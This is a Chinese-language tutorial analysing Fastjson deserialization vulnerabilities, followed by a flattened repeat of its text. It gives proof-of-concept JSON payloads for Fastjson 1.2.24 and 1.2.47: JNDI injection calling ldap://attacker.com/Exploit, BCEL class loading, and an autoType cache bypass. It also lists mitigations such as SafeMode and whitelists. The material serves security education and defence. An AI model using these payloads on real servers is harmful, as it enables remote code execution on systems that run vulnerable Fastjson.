Fastjson反序列化漏洞代码分析
字数 1472 2025-09-01 11:25:54

Fastjson反序列化漏洞深度分析与教学文档

1. Fastjson简介

Fastjson是阿里巴巴开源的一个高性能Java库,主要用于:

  • 将Java对象转换为JSON字符串(序列化)
  • 将JSON字符串转换为Java对象(反序列化)

因其解析速度快、使用简单,被广泛应用于Java开发中。

2. 漏洞原理

Fastjson反序列化漏洞的核心在于@type字段的动态类加载机制:

  1. @type字段作用:指定反序列化时应该转换成的Java类
  2. 漏洞成因:当攻击者能够控制@type字段的值时,可以:
    • 加载任意恶意类
    • 触发类中的危险方法
    • 可能导致远程代码执行(RCE)、信息泄露等安全问题

3. 漏洞分析

3.1 基本执行流程

通过一个简单的Group类示例展示Fastjson的工作流程:

// Group.java
public class Group {
    private Long id;
    private String name;
    private Map map;
    
    public Group() {
        System.out.println("构造方法Group");
    }
    
    public void setId(Long id) {
        System.out.println("setId");
        try {
            Runtime.getRuntime().exec("open -a Calculator");
        } catch(Exception e) {}
        this.id = id;
    }
    // 其他getter/setter省略
}

// Main.java
public class Main {
    public static void main(String[] args) {
        String s = "{\"@type\":\"org.example.Group\",\"id\":0,\"name\":\"admin\"}";
        JSONObject jsonObject = JSON.parseObject(s);
        System.out.println(jsonObject);
    }
}

执行流程:

  1. 通过@type指定目标类org.example.Group
  2. Fastjson实例化Group对象
  3. 调用setter方法设置属性
  4. 执行过程中触发恶意代码(如示例中的计算器弹出)

3.2 Fastjson <= 1.2.24漏洞利用

方式一:JNDI注入

环境要求

  • JDK 1.8.0_102(高版本有防护)
  • Fastjson 1.2.24
  • tomcat-dbcp 9.0.20

利用点
com.sun.rowset.JdbcRowSetImpl类的connect()方法中存在JNDI lookup操作

利用链

  1. setAutoCommit()connect()
  2. connect()lookup(DataSourceName)

POC

String s = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",
            \"DataSourceName\":\"ldap://attacker.com/Exploit\",
            \"autoCommit\":false}";
JSON.parseObject(s);

方式二:BCEL类加载(不出网)

利用点
org.apache.tomcat.dbcp.dbcp2.BasicDataSource类的createConnectionFactory方法

利用链

  1. 通过setDriverClassName设置恶意BCEL编码的类
  2. 通过setDriverClassLoader设置类加载器
  3. getConnection()触发类加载

POC

// 生成BCEL编码的恶意类
ClassLoader classLoader = new ClassLoader();
byte[] bytes = fileToByteArray("Test.class"); // 恶意类字节码
String code = Utility.encode(bytes, true);

// Fastjson利用
String s = "{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",
            \"DriverClassName\":\"
$$
BCEL
$$
"+code+"\",
            \"DriverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}}";
JSON.parseObject(s);

3.3 Fastjson <= 1.2.47漏洞利用

1.2.24之后的版本增加了checkAutoType防护,但存在缓存绕过:

绕过原理

  1. Fastjson会缓存已加载的类
  2. 先通过无害的java.lang.Class加载恶意类到缓存
  3. 再直接使用恶意类

利用步骤

  1. 使用java.lang.Class加载目标类到缓存
  2. 使用目标类进行攻击

POC

String s = "{{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},
            {\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",
            \"datasourcename\":\"ldap://attacker.com/Exploit\",
            \"autocommit\":0}}";
JSON.parseObject(s);

4. 防护措施

  1. 升级Fastjson:使用最新版本(已修复这些漏洞)
  2. 安全配置
    • 开启SafeMode
    • 配置autoTypeSupport为false
    • 使用白名单机制
  3. JDK防护
    • JDK 8u113+默认禁用远程Codebase加载
    • 设置系统属性com.sun.jndi.rmi.object.trustURLCodebase=false

5. 漏洞验证与测试

测试时注意:

  1. 使用正确的JDK版本(如1.8.0_102测试JNDI)
  2. 确认Fastjson版本
  3. 使用无害的测试命令(如弹出计算器)

6. 总结

Fastjson反序列化漏洞的核心在于:

  1. @type字段的动态类加载
  2. 危险方法的自动调用(setter/getter)
  3. 可利用的JDK内置类(JdbcRowSetImpl等)

理解这些原理有助于:

  • 更好地防御此类漏洞
  • 安全地使用JSON库
  • 提高代码审计能力
Fastjson反序列化漏洞深度分析与教学文档 1. Fastjson简介 Fastjson是阿里巴巴开源的一个高性能Java库,主要用于: 将Java对象转换为JSON字符串(序列化) 将JSON字符串转换为Java对象(反序列化) 因其解析速度快、使用简单,被广泛应用于Java开发中。 2. 漏洞原理 Fastjson反序列化漏洞的核心在于 @type 字段的动态类加载机制: @type字段作用 :指定反序列化时应该转换成的Java类 漏洞成因 :当攻击者能够控制 @type 字段的值时,可以: 加载任意恶意类 触发类中的危险方法 可能导致远程代码执行(RCE)、信息泄露等安全问题 3. 漏洞分析 3.1 基本执行流程 通过一个简单的Group类示例展示Fastjson的工作流程: 执行流程: 通过 @type 指定目标类 org.example.Group Fastjson实例化Group对象 调用setter方法设置属性 执行过程中触发恶意代码(如示例中的计算器弹出) 3.2 Fastjson <= 1.2.24漏洞利用 方式一:JNDI注入 环境要求 : JDK 1.8.0_ 102(高版本有防护) Fastjson 1.2.24 tomcat-dbcp 9.0.20 利用点 : com.sun.rowset.JdbcRowSetImpl 类的 connect() 方法中存在JNDI lookup操作 利用链 : setAutoCommit() → connect() connect() → lookup(DataSourceName) POC : 方式二:BCEL类加载(不出网) 利用点 : org.apache.tomcat.dbcp.dbcp2.BasicDataSource 类的 createConnectionFactory 方法 利用链 : 通过 setDriverClassName 设置恶意BCEL编码的类 通过 setDriverClassLoader 设置类加载器 getConnection() 触发类加载 POC : 3.3 Fastjson <= 1.2.47漏洞利用 1.2.24之后的版本增加了 checkAutoType 防护,但存在缓存绕过: 绕过原理 : Fastjson会缓存已加载的类 先通过无害的 java.lang.Class 加载恶意类到缓存 再直接使用恶意类 利用步骤 : 使用 java.lang.Class 加载目标类到缓存 使用目标类进行攻击 POC : 4. 防护措施 升级Fastjson :使用最新版本(已修复这些漏洞) 安全配置 : 开启 SafeMode 配置 autoTypeSupport 为false 使用白名单机制 JDK防护 : JDK 8u113+默认禁用远程Codebase加载 设置系统属性 com.sun.jndi.rmi.object.trustURLCodebase=false 5. 漏洞验证与测试 测试时注意: 使用正确的JDK版本(如1.8.0_ 102测试JNDI) 确认Fastjson版本 使用无害的测试命令(如弹出计算器) 6. 总结 Fastjson反序列化漏洞的核心在于: @type 字段的动态类加载 危险方法的自动调用(setter/getter) 可利用的JDK内置类(JdbcRowSetImpl等) 理解这些原理有助于: 更好地防御此类漏洞 安全地使用JSON库 提高代码审计能力